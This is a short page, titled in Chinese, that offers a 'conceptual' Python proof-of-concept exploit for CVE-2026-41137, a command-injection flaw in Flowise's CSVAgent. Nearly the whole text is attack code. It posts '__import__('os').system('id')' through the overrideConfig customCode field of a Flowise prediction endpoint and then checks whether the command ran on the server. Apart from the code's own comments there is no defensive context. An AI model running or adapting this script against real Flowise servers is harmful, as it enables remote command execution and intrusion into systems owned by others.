CVE-2026-41137 Flowise命令注入漏洞

# PoC for CVE-2026-41137 (Conceptual) # This script demonstrates how a malicious payload might be sent to the vulnerable CSVAgent endpoint. import requests import json target_url = "http://target-flowise-instance:3000/api/v1/prediction/{chatflow_id}" # The payload attempts to execute a shell command (e.g., 'id' or 'whoami') # by exploiting the lack of sanitization in the CSV reading code. malicious_payload = "__import__('os').system('id')" headers = { "Content-Type": "application/json" } # Constructing the data payload for the CSVAgent # The vulnerable field is typically where the CSV code or file path is defined. data = { "question": "Execute test", "overrideConfig": { "nodeConfig": { "csvAgent": { # Interpolating the malicious command "customCode": malicious_payload } } } } try: response = requests.post(target_url, headers=headers, data=json.dumps(data)) if response.status_code == 200: print("Request sent successfully. Check server for command execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")